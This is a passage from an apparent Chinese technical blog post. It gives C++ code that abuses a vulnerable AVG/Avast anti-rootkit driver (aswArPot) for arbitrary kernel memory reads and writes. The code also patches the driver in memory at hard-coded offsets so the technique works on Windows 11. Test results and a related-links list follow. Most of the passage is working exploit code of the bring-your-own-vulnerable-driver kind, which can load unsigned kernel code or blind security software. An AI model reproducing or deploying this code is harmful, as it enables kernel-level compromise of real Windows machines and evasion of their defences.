    11. #define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)
    12.  
    13. typedef struct _ASWARPOT_COPY_MEMORY_INFO
    14.         {
    15.                 PVOID ReadSourceAddress;
    16.                 PVOID DestinationAddress;
    17.                 ULONG Size;
    18.                 BYTE  Buffer[4];
    19.         }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

      CPP文件

    1. NTSTATUS avg_driver::SuperCallDriverEx(
    2.         _In_ HANDLE DeviceHandle,
    3.         _In_ ULONG IoControlCode,
    4.         _In_ PVOID InputBuffer,
    5.         _In_ ULONG InputBufferLength,
    6.         _In_opt_ PVOID OutputBuffer,
    7.         _In_opt_ ULONG OutputBufferLength,
    8.         _Out_opt_ PIO_STATUS_BLOCK IoStatus)
    9. {
    10.         IO_STATUS_BLOCK ioStatus;
    11.  
    12.         NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
    13.                 NULL,
    14.                 NULL,
    15.                 NULL,
    16.                 &ioStatus,
    17.                 IoControlCode,
    18.                 InputBuffer,
    19.                 InputBufferLength,
    20.                 OutputBuffer,
    21.                 OutputBufferLength);
    22.  
    23.         if (ntStatus == STATUS_PENDING) {
    24.  
    25.                 ntStatus = NtWaitForSingleObject(DeviceHandle,
    26.                         FALSE,
    27.                         NULL);
    28.         }
    29.  
    30.         if (IoStatus)
    31.                 *IoStatus = ioStatus;
    32.         if (!NT_SUCCESS(ntStatus))
    33.         {
    34.                 Log(L"[-] SuperCallDriverEx failed, code:0x" << std::setbase(16) << std::setw(8) << std::setfill(L'0') << ntStatus << std::endl);
    35.         }
    36.         return ntStatus;
    37. }
    38.  
    39.  
    40. BOOL avg_driver::SuperCallDriver(
    41.         _In_ HANDLE DeviceHandle,
    42.         _In_ ULONG IoControlCode,
    43.         _In_ PVOID InputBuffer,
    44.         _In_ ULONG InputBufferLength,
    45.         _In_opt_ PVOID OutputBuffer,
    46.         _In_opt_ ULONG OutputBufferLength)
    47. {
    48.         BOOL bResult;
    49.         IO_STATUS_BLOCK ioStatus;
    50.  
    51.         NTSTATUS ntStatus = SuperCallDriverEx(
    52.                 DeviceHandle,
    53.                 IoControlCode,
    54.                 InputBuffer,
    55.                 InputBufferLength,
    56.                 OutputBuffer,
    57.                 OutputBufferLength,
    58.                 &ioStatus);
    59.  
    60.         bResult = NT_SUCCESS(ntStatus);
    61.         SetLastError(RtlNtStatusToDosError(ntStatus));
    62.         return bResult;
    63. }
    64.  
    65. bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
    66.  
    67.         ASWARPOT_COPY_MEMORY_INFO info = { 0 };
    68.         bool bResult = false;
    69.         info.ReadSourceAddress = (PVOID)address;
    70.         ULONG ulData = 0;
    71.         if (size < 4)
    72.         {
    73.                 bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
    74.                 if (!bResult)
    75.                 {
    76.                         Log(L"[-] ReadMemory 1 failed\r\n");
    77.                 }
    78.                 else
    79.                 {
    80.                         RtlCopyMemory(buffer, &ulData, size);
    81.                 }
    82.  
    83.         }
    84.         else
    85.         {
    86.                 bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
    87.                 if (!bResult)
    88.                 {
    89.                         Log(L"[-] ReadMemory 2 failed\r\n");
    90.                 }
    91.         }
    92.  
    93.         return bResult;
    94. }
    95.  
    96. bool avg_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
    97.  
    98.         ULONG ulSize = sizeof(ASWARPOT_COPY_MEMORY_INFO) + size;
    99.         PASWARPOT_COPY_MEMORY_INFO pInfo = (PASWARPOT_COPY_MEMORY_INFO)malloc(ulSize);
    100.         if (!pInfo)
    101.         {
    102.                 Log(L"[-]WriteMemory malloc failed\r\n");
    103.                 return false;
    104.         }
    105.         RtlZeroMemory(pInfo, ulSize);
    106.         pInfo->DestinationAddress = (PVOID)address;
    107.         pInfo->Size = size;
    108.         RtlCopyMemory(&pInfo->Buffer, buffer, size);
    109.  
    110.         bool bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_WRITE_MEMORY, pInfo, ulSize, NULL, NULL);
    111.         free(pInfo);
    112.         if (!bResult)
    113.         {
    114.                 Log(L"[-] WriteMemory failed\r\n");
    115.         }
    116.         return bResult;
    117. }
    118.  
    119. bool avg_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
    120.         if (!address || !buffer || !size)
    121.                 return false;
    122.  
    123.  
    124.         bool result = WriteMemory(device_handle, address, buffer, size);
    125.  
    126.         return result;
    127. }
    128.  
    129. bool avg_driver::PatchDriver(HANDLE device_handle)
    130. {
    131.         BYTE byData = 0;
    132.         uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);
    133.  
    134.         if (driverBase == 0) {
    135.                 Log(L"[-] Failed to get driver:" << driver_name << std::endl);
    136.                 avg_driver::Unload(device_handle);
    137.                 return false;
    138.         }
    139.         //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
    140.         uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    141.         if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
    142.         {
    143.                 Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
    144.                 avg_driver::Unload(device_handle);
    145.                 return false;
    146.         }
    147.  
    148.         uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    149.         if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
    150.         {
    151.                 Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
    152.                 avg_driver::Unload(device_handle);
    153.                 return false;
    154.         }
    155.         Log(L"[+] PatchDriver OK!\r\n");
    156.         return true;
    157. }
    158.  
    159. HANDLE avg_driver::Load() 
    160. {
    161.      ......
    162.      ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
    163.     if (ntoskrnlAddr == 0) {
    164.         Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
    165.         avg_driver::Unload(result);
    166.         return INVALID_HANDLE_VALUE;
    167.     }
    168.     
    169.     if (!PatchDriver(result)) //不使用PatchDriver Win11上导致读取失败
    170.     {
    171.         Log(L"[-] Failed to Patch Driver" << std::endl);
    172.         avg_driver::Unload(result);
    173.         return INVALID_HANDLE_VALUE;
    174.     }
    175.     
    176.     ......
    177. }

    6.运行效果

    • Win 10 x64 22H2

    • Win 11 x64 22621

    7. 特别提示

      经过测试发现漏洞驱动加载后就不能卸载了，如果要实现多次加载需要修改相关逻辑，具体就不详述了。

  • 相关阅读:
    javacofig几个常用注解
    2024贵州大学计算机考研分析
    Docker 运行percona tokudb 引擎
    太简单了，一文彻底搞懂Jenkins的用法
    银行智能运维探索：打造通用指标趋势预测模型
    聊一聊作为高并发系统基石之一的缓存，会用很简单，用好才是技术活
    c 语言基础：L1-049 天梯赛座位分配
    个人信息安全工程指南
    springboot集成Quartz定时任务组件
    6条优势，anzo capital昂首资本相信MT5替代MT4的原因
  • 原文地址：https://blog.csdn.net/zhuting__xf/article/details/133854701